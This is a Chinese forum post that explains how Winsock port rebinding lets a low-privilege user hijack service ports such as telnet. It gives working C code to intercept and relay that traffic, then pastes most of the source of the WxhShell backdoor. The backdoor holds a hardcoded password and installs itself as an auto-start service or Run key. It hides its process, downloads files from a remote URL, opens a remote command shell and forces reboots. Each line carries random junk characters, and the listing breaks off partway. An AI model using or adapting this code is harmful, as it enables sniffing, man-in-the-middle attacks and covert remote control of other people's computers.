社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18125阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: k`So -e-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k_sg ?(-!o  
ZvNJ^Xz  
  saddr.sin_family = AF_INET; /35R u}c  
4i6q{BeHn  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); G}:w@}h/  
p~SClaR3H  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); RTE8Uq36  
RP~|PtLw_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 tmv&U;0Z  
Fpm|_f7  
  这意味着什么?意味着可以进行如下的攻击: @Fluc,Il  
 `7 vHt`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 B|R@5mjm  
Sx708`/Ep  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]Y%Vio  
JG" R\2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ey2S#%DF]  
$CY~5A`l9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6N",- c  
43|XSyS  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4[.oPK=i  
j"}*T  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 aNScF  
ZG>PQA  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 V,mw[Hw  
lhYe;b(  
  #include IAw{P08+  
  #include HW=C),*]cR  
  #include 6eT5ktf  
  #include    ^Y@\1fX 4e  
  DWORD WINAPI ClientThread(LPVOID lpParam);   SLkhCR  
  int main() S& S Q  
  { OHeT,@(mh  
  WORD wVersionRequested; 8"U. Hnu  
  DWORD ret; Fgp]l2*  
  WSADATA wsaData; <L"GqNuRQ  
  BOOL val; v{(^1cX  
  SOCKADDR_IN saddr; 7uKNd *%  
  SOCKADDR_IN scaddr; R$ q; !  
  int err; X#*JWQO=  
  SOCKET s; /LvRP yj@  
  SOCKET sc; N"" BCh"  
  int caddsize; N.\- 8?>  
  HANDLE mt; H7d/X  
  DWORD tid;   +wEac g>>E  
  wVersionRequested = MAKEWORD( 2, 2 ); mzeY%A<0^  
  err = WSAStartup( wVersionRequested, &wsaData ); bL'aB{s  
  if ( err != 0 ) { Jll-`b 1  
  printf("error!WSAStartup failed!\n"); e4!:c^?  
  return -1; X'd9[).  
  } )\eI;8  
  saddr.sin_family = AF_INET; %+j8["VEC  
   lBK}VU^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :[O 8  
lwrC pD .  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,quoRan  
  saddr.sin_port = htons(23); Bk*F_>X"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3on7~*  
  { {zn!vJX  
  printf("error!socket failed!\n"); f|B=_p80  
  return -1; fDT%!  
  } v*r7Zz6l  
  val = TRUE; =T(6#"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 l|/ep:x8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) P!H_1RwXKC  
  { .@(6Y<dN  
  printf("error!setsockopt failed!\n"); Y"~gw~7OD  
  return -1; ^lA=* jY(  
  } ~F4fFQ-yy  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; E~]R2!9  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 qAn!RkA  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 pi Z[Y 5OE  
OW3sS+y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) w2 a1mU/  
  { \HKxh:F'  
  ret=GetLastError(); Y0x%sz 5  
  printf("error!bind failed!\n"); 5Ow[~p"l<  
  return -1; vRs,zL$W  
  } hp#W 9@NR  
  listen(s,2); 8n'B6hi  
  while(1) (Tn- >).AO  
  { do*EKo  
  caddsize = sizeof(scaddr); l:j4Ft 8  
  //接受连接请求 N'^&\@)xiU  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); M}yDXJx  
  if(sc!=INVALID_SOCKET) U.DDaT1  
  { M%ICdIc'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6^eV"&+@  
  if(mt==NULL) 77\] B  
  { 8,C*4y~  
  printf("Thread Creat Failed!\n"); LIcM3_.  
  break; lu<xv  
  } 3~uW I%I`  
  } GT0Of~?f  
  CloseHandle(mt); ldiD2 Q  
  } Fs9I7~L3  
  closesocket(s); "uaMk}[ <!  
  WSACleanup(); gDQ1?N'8{t  
  return 0; 9y<*8bI   
  }   9~p[  
  DWORD WINAPI ClientThread(LPVOID lpParam) Dp)=0<$y  
  { sg$rzT-S4  
  SOCKET ss = (SOCKET)lpParam; Tk5W'p|6f  
  SOCKET sc; aX5 z&r:{  
  unsigned char buf[4096]; 5]AC*2(  
  SOCKADDR_IN saddr; #vti+A~n,4  
  long num; - `p4-J!Fy  
  DWORD val; ] Hztb  
  DWORD ret; 2/"u5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 IIn"=g=9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   G/7cK\^u  
  saddr.sin_family = AF_INET; ?d{Na= O\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); xx#zN0I>-y  
  saddr.sin_port = htons(23); `< xn8h9p  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3HcQ(+Z  
  { nlW +.a[  
  printf("error!socket failed!\n"); 7ccO93Mz  
  return -1; j2QmxTa!  
  } /SrCElabP  
  val = 100; 45,1-? -!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?u" 4@  
  { mF,Y?ax  
  ret = GetLastError(); K`u(/kz/<  
  return -1; `HZ;NRr  
  } |}(`kW  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k'Sp.  
  { |wH5sjT  
  ret = GetLastError(); 0{,Z{&E  
  return -1; de p=&  
  } EfCx`3~EX  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Hn5|B 3vN  
  { D-5VC9{  
  printf("error!socket connect failed!\n"); 0w&27wW  
  closesocket(sc); ki?S~'a  
  closesocket(ss); tjdaaN#,V  
  return -1; L?WFm n  
  } gG*X^Uo  
  while(1) $5ak_@AC  
  { P)Rh=U  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 j g8fU  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 d@XV:ae  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +n{#V;J  
  num = recv(ss,buf,4096,0); gcdlT7F)b-  
  if(num>0) _qw?@478  
  send(sc,buf,num,0); #xX5,r0  
  else if(num==0)  SL#0kc0x  
  break; hc>HQrd  
  num = recv(sc,buf,4096,0); <{V(.=11  
  if(num>0) mID"^NOi#  
  send(ss,buf,num,0); G9xmmc  
  else if(num==0) `(_s|-$  
  break; * +"9%&?  
  } 5|o6v1bM  
  closesocket(ss); "4ri SxEyF  
  closesocket(sc); 4dO~C  
  return 0 ; ;7?kl>5]  
  } 6{n!Cb[e  
/s@oZ{h  
VyzS^AH K  
========================================================== e4HA7=z  
=5/9%P8j9  
下边附上一个代码,,WXhSHELL 8<8:+M}  
A OISs4  
========================================================== BK)$'AqO  
g;qx">xJ`o  
#include "stdafx.h" DW5Y@;[  
[|(N_[E|6  
#include <stdio.h>  >qS9PX  
#include <string.h> *h!28Ya(~  
#include <windows.h> r+":'/[x  
#include <winsock2.h> rH_\ d?b  
#include <winsvc.h> nqI@Y)  
#include <urlmon.h> Z>)Bp /-  
X*/ho  
#pragma comment (lib, "Ws2_32.lib") wO'T BP  
#pragma comment (lib, "urlmon.lib") YG@t5j#b  
w<Wf?aG  
#define MAX_USER   100 // 最大客户端连接数 ?OcJ )5C4  
#define BUF_SOCK   200 // sock buffer UTH*bL5/J2  
#define KEY_BUFF   255 // 输入 buffer i V'k}rXC  
N/ %WsQp  
#define REBOOT     0   // 重启 /178A;J y  
#define SHUTDOWN   1   // 关机 H*ow\ Ct  
([SU:F!uW(  
#define DEF_PORT   5000 // 监听端口 }001K  
sf)EMh3Z  
#define REG_LEN     16   // 注册表键长度 fZ0M%f  
#define SVC_LEN     80   // NT服务名长度 =G7m)!  
cq}EZ@ .  
// 从dll定义API }uJu>'1[G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *5%d XixN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =Je[c,&j$?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +S>j0m<*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Al}6q{E9+8  
d:BG#\e]v  
// wxhshell配置信息 ad*m%9Y1Q  
struct WSCFG { B:'J `M"N  
  int ws_port;         // 监听端口 yE:+Lo`>  
  char ws_passstr[REG_LEN]; // 口令 R=gb'  
  int ws_autoins;       // 安装标记, 1=yes 0=no lR )67a  
  char ws_regname[REG_LEN]; // 注册表键名 #Y*X<L  
  char ws_svcname[REG_LEN]; // 服务名 llcb~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lAb*fafQy  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2oVSn"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O(fM?4w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7gf05Z'=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hQYL`Dni  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D{GfL ib"U  
\MyLc/Gh5  
}; 11o.c;  
}>>1<P<8-  
// default Wxhshell configuration 'u*D A|HC  
struct WSCFG wscfg={DEF_PORT, ,:%CB"J  
    "xuhuanlingzhe", [pbo4e,4O  
    1, RRmz"j>  
    "Wxhshell", ULs\+U  
    "Wxhshell", ;_c;0)  
            "WxhShell Service", 1oR7iD^  
    "Wrsky Windows CmdShell Service", Zq+v6fk_Mn  
    "Please Input Your Password: ", >3p \m  
  1, S\:P-&dC  
  "http://www.wrsky.com/wxhshell.exe", ZP@ $Q%up  
  "Wxhshell.exe" FHj" nB  
    }; ur)9x^y  
~IYUuWF(  
// 消息定义模块 - Ajo9H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ] eotc2?u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jyZ  (RB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aS{|uE]  
char *msg_ws_ext="\n\rExit."; l3Xfc2~ 2  
char *msg_ws_end="\n\rQuit."; Sc\*W0m  
char *msg_ws_boot="\n\rReboot..."; u(@$a4z  
char *msg_ws_poff="\n\rShutdown..."; '))0Lh l  
char *msg_ws_down="\n\rSave to "; L-ET<'u  
kVkU)hqR  
char *msg_ws_err="\n\rErr!"; a =J^  
char *msg_ws_ok="\n\rOK!"; @5N]ZQ9  
BF\XEm?!  
char ExeFile[MAX_PATH]; )(bW#-  
int nUser = 0; LInz<bc<(  
HANDLE handles[MAX_USER]; YWe{juXSw  
int OsIsNt; mk;&yh  
4w*Skl=F}  
SERVICE_STATUS       serviceStatus; %RTBV9LIXr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <^&ehy:7y  
z06r6  
// 函数声明 NP0\i1P>.?  
int Install(void); ``,fodA8  
int Uninstall(void); h k] N6+@  
int DownloadFile(char *sURL, SOCKET wsh); 9B{k , 1  
int Boot(int flag); i+A3~w5c  
void HideProc(void); ~-ia+A6GIV  
int GetOsVer(void); c23oCfB>  
int Wxhshell(SOCKET wsl); V LOO8N[o  
void TalkWithClient(void *cs); zwhe  
int CmdShell(SOCKET sock); 2M.fLQ?  
int StartFromService(void); j]{_s"O  
int StartWxhshell(LPSTR lpCmdLine); N4v~;;@(  
Y\D!/T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N(; 1o.~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S=MEG+Ad  
?:vv50  
// 数据结构和表定义 RiDJ> 6S  
SERVICE_TABLE_ENTRY DispatchTable[] = .CL[_;}  
{ Q A< Rhv,  
{wscfg.ws_svcname, NTServiceMain}, Z/W:97M  
{NULL, NULL} =#;3Q~:Jl^  
}; [A~y%bI"  
i`(XLi}k  
// 自我安装 -)w@f~Q  
int Install(void) =m!-m\B/  
{ N:S/SZI  
  char svExeFile[MAX_PATH]; | z9*GY6RU  
  HKEY key; ZGBd%RWjG_  
  strcpy(svExeFile,ExeFile); /kE6@  
M||+qd W!  
// 如果是win9x系统,修改注册表设为自启动 *{YlN}vA  
if(!OsIsNt) { T/b6f;t-s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `nUXDmdwzO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IoxgjUa  
  RegCloseKey(key); I5`4Al  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L5Ebc#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ? E1<!~  
  RegCloseKey(key); 7S-ys+  
  return 0; MDnKX?Y  
    } v_<rNc,z-s  
  } 6^V=?~a&z  
} pM+ AjPr  
else { 2a-w% (K  
)Lk639r  
// 如果是NT以上系统,安装为系统服务 QiQ_bB!\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B\=L3eL<D  
if (schSCManager!=0) UxbjA- U[  
{ 6@Y_*4$|  
  SC_HANDLE schService = CreateService 8hu<E4]L  
  ( Dl<bnx;0  
  schSCManager, @D.}\(  
  wscfg.ws_svcname, lAS#874dE  
  wscfg.ws_svcdisp, 9Z|jxy  
  SERVICE_ALL_ACCESS, rx'RSo#1O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !`k1:@NZ  
  SERVICE_AUTO_START, _Us#\+]_:  
  SERVICE_ERROR_NORMAL, Z 8S\@I  
  svExeFile, ?h3Y)5xT  
  NULL, ],>@";9u"  
  NULL, ?~l6K(*2  
  NULL, a+[RS]le  
  NULL, HU1h8E$-  
  NULL n3T>QgK  
  ); <Q3oT  
  if (schService!=0) RU'=ERYC  
  { Pj[PIz  
  CloseServiceHandle(schService); Cw iKi^m  
  CloseServiceHandle(schSCManager); 1Lc#m`Jln  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6o!!=}'E[  
  strcat(svExeFile,wscfg.ws_svcname); p09HL%~R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3r<~Q7e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X@'u y<tI-  
  RegCloseKey(key); (lXGmx8  
  return 0; TCN8a/@z  
    } SAH-p*.  
  } c-x,fS"&W  
  CloseServiceHandle(schSCManager); tGD6AI1"I  
} tnV/xk#!  
} QHDXW1+|^  
BTl k Etm  
return 1; NiNM{[3oS  
} p?{Xu4(  
ED2a}Tt>Z  
// 自我卸载 h2)yq:87  
int Uninstall(void) e h&IPU S  
{ hP=WFD&  
  HKEY key; 1[mXd  
szb_*)k  
if(!OsIsNt) { QMA%$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bH-ub2@qO  
  RegDeleteValue(key,wscfg.ws_regname); FG PB:  
  RegCloseKey(key); m-%E-nr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N/[p <  
  RegDeleteValue(key,wscfg.ws_regname); #=D) j  
  RegCloseKey(key); kj|6iG  
  return 0; 8|b3j^u  
  } 2;[D;Y}  
} Kc!} `Pm  
} }wWKFX  
else { ?# Mr  
8/DS:uM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QsGiclU  
if (schSCManager!=0) 3RiWZN  
{ iMt:9|yF}8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pe0F0Ruy  
  if (schService!=0) v&Ii^?CvO  
  { f& 0M*o,)  
  if(DeleteService(schService)!=0) { qsF<!'m7`  
  CloseServiceHandle(schService); xqXo0  
  CloseServiceHandle(schSCManager); R]Vt Y7}i,  
  return 0; G !<Z.]  
  } ~Xw"}S5  
  CloseServiceHandle(schService); ~ {?_p@&n  
  } /Y*WBTV'  
  CloseServiceHandle(schSCManager); 7@#>b E6  
} h&|[eZt?F  
} HvUxsdT  
"C?#SO B  
return 1; BmBj7  
} g-qP;vy@"q  
&d9{k5/+\  
// 从指定url下载文件 cO-7ke  
int DownloadFile(char *sURL, SOCKET wsh) g(nPQOs$u  
{ 9Q -HeXvR  
  HRESULT hr; 8{Q<N%Jnu  
char seps[]= "/"; E^Y#&skXp3  
char *token; V @rI`~$  
char *file; %`k6w3qI  
char myURL[MAX_PATH]; [l:x'_y  
char myFILE[MAX_PATH]; i}b${n o  
r~[Ia!U?  
strcpy(myURL,sURL); f'8kish  
  token=strtok(myURL,seps); +[Dj5~V  
  while(token!=NULL) +_7*iJtD5  
  { ~)*,S^k(C.  
    file=token; `{4i)n%e&  
  token=strtok(NULL,seps); .\ K_@M  
  } z^KJ*E  
$JSL-NkE  
GetCurrentDirectory(MAX_PATH,myFILE); qsL) }sC^8  
strcat(myFILE, "\\"); Gk967pC  
strcat(myFILE, file); 5Y?L>QU"  
  send(wsh,myFILE,strlen(myFILE),0); *v?`<)P#  
send(wsh,"...",3,0); K7$x<5+)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yZd +^QN  
  if(hr==S_OK) H!vax)%-\  
return 0; xE1 eT,  
else |yvQ[U~PQ  
return 1; 2`.cK 3  
hS_6  
} QU#w%|  
d^/3('H6  
// 系统电源模块 -HQQw$  
int Boot(int flag) z,|r*\dw  
{ bAsYv*t%r  
  HANDLE hToken; :s=NUw_^  
  TOKEN_PRIVILEGES tkp; .ELGWF`>  
Usg K  
  if(OsIsNt) { ()`7L|(`;q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h"lX 4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $GYm6x\4  
    tkp.PrivilegeCount = 1; ko1J094Y%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tzZ63@cm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); + r!1<AAE$  
if(flag==REBOOT) { *?o{9v5}(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /`9sPR6e  
  return 0; z+ s6)Ad  
} NHB4y/2  
else { SH3|sXH<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9Kr+\F  
  return 0; r$5i Wu  
} .#wqXRd  
  } mt9 .x  
  else { Pf*^ZB%  
if(flag==REBOOT) { )S`jFQ1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ktI/3Mb@  
  return 0; n 9\ C2r  
} tc_286'x  
else { D@G\7 KH@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `J]fcE%T0R  
  return 0; ttXXy3G#  
} 33jovK 2  
} >Wh}f3C  
U QE qX  
return 1; vQ<90Z xqB  
} $4-$pL6"  
I[b}4M6E  
// win9x进程隐藏模块 >tTj[cMJl  
void HideProc(void) & +4gSr  
{ ##KBifU"  
rxr{/8%f%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HfcL%b%G8  
  if ( hKernel != NULL ) 5?p2%KQ  
  { U ?'vXa  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); GRMiQa  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1<+2kBuY  
    FreeLibrary(hKernel); kR]!Vr*yh  
  } ?!wgH9?8  
'jmTXWq*  
return; "dsU>3u  
} } $uxJB  
Mb"J@5P[4  
// 获取操作系统版本 y+!+ D[x  
int GetOsVer(void) JBZUv  
{ *J$=.fF1  
  OSVERSIONINFO winfo; $=5=NuX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); BQBeo&n6  
  GetVersionEx(&winfo); RE}?5XHb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) : m)   
  return 1; Ib|Rf;J~-  
  else CL)lq)1(  
  return 0; DKfE.p)  
} DvPlV q~  
Z?pnj8h-&  
// 客户端句柄模块 _tSAI  
int Wxhshell(SOCKET wsl) 76>7=#m0u'  
{ [v$0[IuY,  
  SOCKET wsh; #BJG9DFP4`  
  struct sockaddr_in client; p>vn7;s2#  
  DWORD myID; I96C i2)m  
!h(|\" }  
  while(nUser<MAX_USER) \(VTt|}By$  
{ bfA=3S"0  
  int nSize=sizeof(client); _FXZm50\g{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  ]E_h  
  if(wsh==INVALID_SOCKET) return 1; <WjF*x p  
Vm5c+;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m~@;~7Ix  
if(handles[nUser]==0) ?s\ OUr  
  closesocket(wsh); 3ia^\ jw  
else # S}Z8  
  nUser++; [~kdPk  
  } 48jVRo  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ikSF)r;*t  
{D? 50Q  
  return 0; bKj%s@x  
} PlF87j (  
8i|w(5m;  
// 关闭 socket |l&vkRrN  
void CloseIt(SOCKET wsh) -:Fe7c  
{ SF}<{x_  
closesocket(wsh); fLDg~;3  
nUser--; )'/|)  
ExitThread(0); umF Z?a  
} \\{J'j>{f  
@+'-ADX  
// 客户端请求句柄 S;~g3DC d  
void TalkWithClient(void *cs) #Y0-BYa^  
{ smdZxFl  
NB\{'  
  SOCKET wsh=(SOCKET)cs; lZyG)0t,g  
  char pwd[SVC_LEN]; E Q4KV  
  char cmd[KEY_BUFF]; &LF` W  
char chr[1]; #O$  
int i,j; AX?fuDLs  
I8+~ &V}  
  while (nUser < MAX_USER) { [cTe54n  
%STliJ  
if(wscfg.ws_passstr) { *+TH#EL2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); } X^|$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %{(x3\ *&  
  //ZeroMemory(pwd,KEY_BUFF); hX`hs- *qM  
      i=0; o;W`4S^  
  while(i<SVC_LEN) { $e\h}A6  
'eo KZX+  
  // 设置超时 i<H wTmm$  
  fd_set FdRead; B=>RH!&  
  struct timeval TimeOut; Q:|l`*.R  
  FD_ZERO(&FdRead); K =C!b?  
  FD_SET(wsh,&FdRead); oY1';&BO9  
  TimeOut.tv_sec=8; '"?C4mbSl  
  TimeOut.tv_usec=0; '"<6.,Ae  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =Zu^80/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /n5F(5<  
%q!8={J8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T[,/5J  
  pwd=chr[0]; FP0G]=ME  
  if(chr[0]==0xd || chr[0]==0xa) { {r> .G7P6  
  pwd=0; {%VV\qaC  
  break; [zL7Q^~  
  } 6ZKsz5:=  
  i++; JJltPGT~Oa  
    } A a= u+  
t~E<j+<2B  
  // 如果是非法用户,关闭 socket t6,wjN-J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e'*`.^  
} yz-,)GB6  
&ISb~5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :Xn7Ha[f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !ALKSiSl  
`((Yc]:7  
while(1) { qw7@(R'"  
iT;@bp  
  ZeroMemory(cmd,KEY_BUFF); DHw&+MY  
P y>{t4;S  
      // 自动支持客户端 telnet标准   lqowG!3H  
  j=0; S#-wl2z  
  while(j<KEY_BUFF) { %'xb%`t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y 2Q=rj  
  cmd[j]=chr[0]; *?z0$Kz<,[  
  if(chr[0]==0xa || chr[0]==0xd) { _(d.!qGz  
  cmd[j]=0; cooUE<a  
  break; !eAo  
  } (x"BR  
  j++; *\wp?s>-t  
    } d{3@h+zL  
oT{@_U{*J  
  // 下载文件 $`8Ar,Xz`  
  if(strstr(cmd,"http://")) { E,wVe[0)f  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZT[3aXS  
  if(DownloadFile(cmd,wsh)) YAL=!~6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 277ASCWLkU  
  else UWZa|I~:J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e/*$^i+S  
  } |.F  
  else { op"$E1+  
J0 k  
    switch(cmd[0]) { :-iMdtm  
  Ja]?&j  
  // 帮助 Z1ALq5  
  case '?': { ui "3ak+F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'DCFezdf3  
    break; 5jgdbHog]  
  } j}BHj.YuP  
  // 安装 { F'Kk\f%:  
  case 'i': { Zes+/.sA}]  
    if(Install()) Wxk x,q?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nrah;i+H\o  
    else Gy,u^lkk:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j7MO'RX`&  
    break; Xt{*N-v\  
    } 3;7q`  
  // 卸载 dLvJh#`o  
  case 'r': { 7QVuc!V  
    if(Uninstall()) O<j PGU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {/ LZcz[  
    else R#n%cXc|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BR v+.(S  
    break; )i>[M"7  
    } &3v&i*DG,I  
  // 显示 wxhshell 所在路径 R8-^RvG  
  case 'p': { R//$r%a  
    char svExeFile[MAX_PATH]; 2oZ9laJO  
    strcpy(svExeFile,"\n\r"); X 6 lH|R  
      strcat(svExeFile,ExeFile); ;' nL:\  
        send(wsh,svExeFile,strlen(svExeFile),0); :s-o0$PlJ  
    break; E RdL^T>  
    } '.Ym!r~wL  
  // 重启 p0{EQT`tMG  
  case 'b': { ?( =p<TUw  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x1gx$P  
    if(Boot(REBOOT)) 6*nAo8gl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bi~:>X\[^6  
